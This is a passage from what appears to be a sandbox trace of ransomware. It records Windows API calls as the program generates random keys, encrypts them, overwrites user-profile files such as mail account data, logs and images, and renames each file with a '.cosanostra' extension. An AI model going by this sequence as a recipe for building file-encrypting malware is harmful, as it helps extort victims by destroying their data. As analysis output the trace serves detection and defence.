(lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.cosanostra" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015.cosanostra")) returned 1 [0092.059] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6b0 | out: pbBuffer=0x28df6b0) returned 1 [0092.059] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6a8*=0x30) returned 1 [0092.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.059] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML") returned 75 [0092.060] StrStrW (lpFirst="WMSDKNS.XML", lpSrch=".txt") returned 0x0 [0092.069] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd831, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.069] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x27cf, lpNumberOfBytesWritten=0x28df66c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df66c*=0x27cf, lpOverlapped=0x0) returned 1 [0092.069] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.069] WriteFile (in: hFile=0x154, lpBuffer=0x28df6ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df66c, lpOverlapped=0x0 | out: lpBuffer=0x28df6ac*, lpNumberOfBytesWritten=0x28df66c*=0x4, lpOverlapped=0x0) returned 1 [0092.069] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df66c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df66c*=0x30, lpOverlapped=0x0) returned 1 [0092.069] CloseHandle (hObject=0x154) returned 1 [0092.069] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.cosanostra") returned 86 [0092.069] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.cosanostra")) returned 1 [0092.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6a8 | out: pbBuffer=0x28df6a8) returned 1 [0092.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6a0*=0x30) returned 1 [0092.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.072] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat") returned 73 [0092.072] StrStrW (lpFirst="WindowsMail.pat", lpSrch=".txt") returned 0x0 [0092.157] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.157] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df664, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df664*=0x2800, lpOverlapped=0x0) returned 1 [0092.158] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.158] WriteFile (in: hFile=0x154, lpBuffer=0x28df6a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df664, lpOverlapped=0x0 | out: lpBuffer=0x28df6a4*, lpNumberOfBytesWritten=0x28df664*=0x4, lpOverlapped=0x0) returned 1 [0092.158] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df664, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df664*=0x30, lpOverlapped=0x0) returned 1 [0092.158] CloseHandle (hObject=0x154) returned 1 [0092.189] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.cosanostra") returned 84 [0092.189] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.cosanostra")) returned 1 [0092.190] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6a0 | out: pbBuffer=0x28df6a0) returned 1 [0092.190] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df698*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df698*=0x30) returned 1 [0092.190] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.191] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned 87 [0092.191] StrStrW (lpFirst="Shades of Blue.htm", lpSrch=".txt") returned 0x0 [0092.192] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.192] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x28df65c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df65c*=0xed, lpOverlapped=0x0) returned 1 [0092.192] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.192] WriteFile (in: hFile=0x154, lpBuffer=0x28df69c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df65c, lpOverlapped=0x0 | out: lpBuffer=0x28df69c*, lpNumberOfBytesWritten=0x28df65c*=0x4, lpOverlapped=0x0) returned 1 [0092.192] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df65c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df65c*=0x30, lpOverlapped=0x0) returned 1 [0092.192] CloseHandle (hObject=0x154) returned 1 [0092.192] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.cosanostra") returned 98 [0092.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.cosanostra")) returned 1 [0092.193] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6a0 | out: pbBuffer=0x28df6a0) returned 1 [0092.193] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df698*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df698*=0x30) returned 1 [0092.193] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.193] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned 78 [0092.193] StrStrW (lpFirst="Roses.jpg", lpSrch=".txt") returned 0x0 [0092.197] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.197] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x28df65c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df65c*=0x780, lpOverlapped=0x0) returned 1 [0092.197] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.197] WriteFile (in: hFile=0x154, lpBuffer=0x28df69c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df65c, lpOverlapped=0x0 | out: lpBuffer=0x28df69c*, lpNumberOfBytesWritten=0x28df65c*=0x4, lpOverlapped=0x0) returned 1 [0092.197] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df65c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df65c*=0x30, lpOverlapped=0x0) returned 1 [0092.198] CloseHandle (hObject=0x154) returned 1 [0092.198] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.cosanostra") returned 89 [0092.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.cosanostra")) returned 1 [0092.582] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df698 | out: pbBuffer=0x28df698) returned 1 [0092.582] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df690*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df690*=0x30) returned 1 [0092.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.583] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned 78 [0092.583] StrStrW (lpFirst="Bears.jpg", lpSrch=".txt") returned 0x0 [0092.622] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffbce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.622] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x28df654, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df654*=0x432, lpOverlapped=0x0) returned 1 [0092.622] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.622] WriteFile (in: hFile=0x154, lpBuffer=0x28df694*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df654, lpOverlapped=0x0 | out: lpBuffer=0x28df694*, lpNumberOfBytesWritten=0x28df654*=0x4, lpOverlapped=0x0) returned 1 [0092.623] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df654, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df654*=0x30, lpOverlapped=0x0) returned 1 [0092.623] CloseHandle (hObject=0x154) returned 1 [0092.623] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.cosanostra") returned 89 [0092.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.cosanostra")) returned 1 [0092.624] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df698 | out: pbBuffer=0x28df698) returned 1 [0092.624] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df690*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df690*=0x30) returned 1 [0092.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.625] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned 65 [0092.625] StrStrW (lpFirst="edb.log", lpSrch=".txt") returned 0x0 [0092.650] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.650] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df654, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df654*=0x2800, lpOverlapped=0x0) returned 1 [0092.650] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.650] WriteFile (in: hFile=0x154, lpBuffer=0x28df694*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df654, lpOverlapped=0x0 | out: lpBuffer=0x28df694*, lpNumberOfBytesWritten=0x28df654*=0x4, lpOverlapped=0x0) returned 1 [0092.652] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df654, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df654*=0x30, lpOverlapped=0x0) returned 1 [0092.652] CloseHandle (hObject=0x154) returned 1 [0092.652] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.cosanostra") returned 76 [0092.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.cosanostra")) returned 1 [0092.653] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df690 | out: pbBuffer=0x28df690) returned 1 [0092.653] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df688*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df688*=0x30) returned 1 [0092.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.653] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log") returned 81 [0092.653] StrStrW (lpFirst="edb00001.log", lpSrch=".txt") returned 0x0 [0092.668] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.668] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df64c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df64c*=0x2800, lpOverlapped=0x0) returned 1 [0092.668] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.668] WriteFile (in: hFile=0x154, lpBuffer=0x28df68c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df64c, lpOverlapped=0x0 | out: lpBuffer=0x28df68c*, lpNumberOfBytesWritten=0x28df64c*=0x4, lpOverlapped=0x0) returned 1 [0092.670] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df64c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df64c*=0x30, lpOverlapped=0x0) returned 1 [0092.670] CloseHandle (hObject=0x154) returned 1 [0092.670] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.cosanostra") returned 92 [0092.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.cosanostra")) returned 1 [0092.671] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df690 | out: pbBuffer=0x28df690) returned 1 [0092.671] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df688*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df688*=0x30) returned 1 [0092.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0092.970] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 113 [0092.970] StrStrW (lpFirst="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpSrch=".txt") returned 0x0 [0092.971] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffd60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.971] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x28df64c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df64c*=0x2a0, lpOverlapped=0x0) returned 1 [0092.971] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.971] WriteFile (in: hFile=0x160, lpBuffer=0x28df68c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df64c, lpOverlapped=0x0 | out: lpBuffer=0x28df68c*, lpNumberOfBytesWritten=0x28df64c*=0x4, lpOverlapped=0x0) returned 1 [0092.971] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df64c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df64c*=0x30, lpOverlapped=0x0) returned 1 [0092.972] CloseHandle (hObject=0x160) returned 1 [0092.972] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.cosanostra") returned 124 [0092.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.cosanostra")) returned 1 [0092.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df688 | out: pbBuffer=0x28df688) returned 1 [0092.973] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df680*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df680*=0x30) returned 1 [0092.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0092.973] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 123 [0092.973] StrStrW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch=".txt") returned 0x0 [0093.065] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffbf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.065] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x28df644, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df644*=0x410, lpOverlapped=0x0) returned 1 [0093.065] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.065] WriteFile (in: hFile=0x160, lpBuffer=0x28df684*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df644, lpOverlapped=0x0 | out: lpBuffer=0x28df684*, lpNumberOfBytesWritten=0x28df644*=0x4, lpOverlapped=0x0) returned 1 [0093.066] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df644, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df644*=0x30, lpOverlapped=0x0) returned 1 [0093.066] CloseHandle (hObject=0x160) returned 1 [0093.066] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.cosanostra") returned 134 [0093.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.cosanostra")) returned 1 [0093.093] CryptGenRandom (in: 